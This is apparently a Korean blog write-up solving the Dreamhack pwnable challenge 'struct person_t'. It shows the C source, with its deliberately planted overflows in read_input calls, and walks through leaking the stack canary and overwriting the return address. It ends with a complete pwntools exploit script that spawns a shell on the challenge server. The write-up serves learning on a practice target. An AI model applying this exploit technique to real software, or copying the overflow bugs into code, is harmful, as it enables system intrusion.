[드림핵] struct person_t
A A

 

📍 보호기법

checksec

 

64비트, 카나리 있음, NX 있음, PIE 없음

 

📍 소스코드

// Name: chall.c
// Compile: gcc -Wall -no-pie chall.c -o chall ; strip chall

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct person_t {
    char nationality[32];
    char name[56];
    double height;
    int age;
    char male_or_female[4];
};

void get_shell() {
    execve("/bin/sh", 0, 0);
}

void read_input(char *ptr, size_t len) {
    ssize_t readn;

    readn = read(0, ptr, len);
    if (readn < 1) {
        puts("read() error");
        exit(1);
    }

    if (ptr[readn - 1] == '\n') {
        ptr[readn - 1] = '\0';
    }
}

int main() {
    struct person_t person;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    printf("Enter name: ");
    read_input(person.name, 56);

    printf("Enter age: ");
    scanf("%d", &person.age);

    printf("Enter height: ");
    scanf("%lf", &person.height);

    printf("Enter M (Male) or F (Female): ");
    read_input(person.male_or_female, 5);

    printf("Hi %s.\n", person.name);

    printf("What's your nationality? ");
    read_input(person.nationality, 128);

    return 0;
}

🫧 취약점 1

person.nationality = 32바이트
read_input(person.nationality, 128) => 128바이트 읽으므로 overwrite 가능

 

🫧 취약점 2

person.male_or_female = 4바이트
read_input(person.male_or_female, 5); => 5바이트 읽으므로 overwrite 가능

 

 

구조체에 대한 문제.

구조체의 모든 멤버는 메모리 상에서 순차적으로 위치하며, 연속적인 공간에 할당됨.


스택에서 구조체와 카나리가 이어져 있다고 가정하고,
main에서 name, height, age, male_or_female 순으로 입력받으므로,
이 변수들을 널 바이트 없이 꽉 채운 뒤 name%s 형식지정자로 출력해서 카나리 값을 알아낼 수 있음.

 

🫧 공격 시나리오

  1. name, height, age, male_or_female의 버퍼를 꽉 채워서 입력
    특히 male_or_female은 5바이트 입력해서 카나리의 첫 바이트인 널 바이트 덮기
  2. %s로 카나리 값 유출
  3. 마지막 nationality 입력할 때 카나리 포함해서 리턴주소를 get_shell 함수의 주소로 덮기

 

 

pwndbg에서 disassemble main 안되는 상황.
strip 옵션으로 컴파일해서 파일의 심볼이 삭제됨 (소스코드 최상단 주석 참고)
옵션 없애고 새로 컴파일하면 주소 바뀔 것 같아서(확실X) 직접 찾기로 함

 

+ 직접 컴파일해보니까 스택에 올라가는 순서는 안 바뀜💀

변수들의 실제 주소는 ASLR 등으로 컴파일할 때마다 달라질 수 있지만, `strip`은 심볼 제거만 하기 때문에 스택에 올라가는 변수 순서는 절대 바뀔 일이 없다고... 생각해보면 당연한데 머릿속이 꼬였던 듯
아래 main 찾기와 person.nationality 찾기는 뻘짓이 됨...
(strip 옵션 없이 컴파일한 바이너리를 pwndbg로 보면 바로 나오는 정보들임)

그래도 하나 배웠다... 부들부들

 

📍 main 찾기

리눅스 ELF 실행파일에서 프로그램 시작 시 가장 먼저 호출되는 함수는 _start 함수임.

__libc_start_main(main, argc, argv, init, fini, rtld_fini, stack_end);
➡️ 첫 번째 인자: main 함수
➡️ 즉 rdi 레지스터에 main의 주소가 전달됨

 

readelf -h chall ❘ grep Entry

Entry point = _start 함수의 주소 = 0x401130

 

 

objdump -d chall 명령어를 사용해 .text 섹션 뒤져봄 (함수)

objdump -d chall

 

0x401148에서, 0x4012b2 ➡️ 레지스터 rdi에 저장됨 ➡️ __libc_start_main의 첫 인자
그 다음 명령어는 간접 호출(call *[rip+0x2e9b]) = GOT에서 __libc_start_main 호출

 

main()의 주소 = 0x4012b2

 

📍 person.nationality 찾기

gdb에서 main()에 브레이크 걸고 실행함
ni로 계속 넘기면서 구조체 스택 위치 찾아봄

 

[rbp-0x70]

덤으로 카나리는 [rbp-0x8]에 있음

 

즉, 스택구조:

리턴주소 [rbp+0x8]
rbp+0x0
카나리 [rbp-0x8]
구조체 시작 위치 [rbp-0x70]

 

nationality와 카나리 간 offset = 0x70 - 0x8 = 0x68 = 104

 

📍 get_shell 찾기

 

objdump -d: 파일의 실행 영역을 disassemble하는 명령어

get_shell이라는 심볼은 사라졌으니 execve로 검색함

 

objdump -d chall에서 401232 근처 찾아봄

 

 

get_shell 시작 주소 = 0x401216

 

📍 스크립트

from pwn import *

context.log_level = 'debug'

p = remote("host3.dreamhack.games", 17416)

get_shell = 0x401216

p.recvuntil(b'name: ')
p.send(b'A'*56)
p.recvuntil(b'age: ')
p.sendline(b'1234567891')
p.recvuntil(b'height: ')
p.sendline(b'1234567891234567')
p.recvuntil(b'(Male) or F (Female): ')
p.send(b'FFFFF')

p.recvuntil(b'Hi ' + b'A'*56)
leak = p.recv(8 + 4 + 5 + 7)
canary = leak[17:24]
canary = u64(b'\x00' + canary)
print(f'[+] 카나리: {hex(canary)}')

p.recvuntil(b'nationality? ')

payload = b'A'*104
payload += p64(canary)
payload += b'B'*8
payload += p64(get_shell)

p.sendline(payload)

p.interactive()

 

namemale_or_femalesendline 안 하고 send로 넘기냐?
➡️ 소스코드의 read_input 함수를 보면 마지막에 개행 문자가 들어가 있는 경우 널 바이트로 변환함
➡️ 즉 %s의 출력이 끊기므로, 개행 문자를 포함해서 보내는 sendline 대신 send를 써야 함
➡️ (안 그래도 read에는 send, scanf에는 sendline 써야 함)

 

 

 

🚩

 

셸까지 떠먹여주다니

부랴부랴 ROP 체인 공부했는데 좀 허망했다

그래도 CTF에서 첫 포너블 도전이었는데 성공해서 기쁘다 😎

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[드림핵] fho  (0) 2025.03.30
[드림핵] basic_rop_x64  (0) 2025.03.30
[드림핵] rop  (0) 2025.03.29
[드림핵] Return to Library  (0) 2025.03.28
[드림핵] ssp_001  (0) 2025.03.27
Copyright 2024. GRAVITY all rights reserved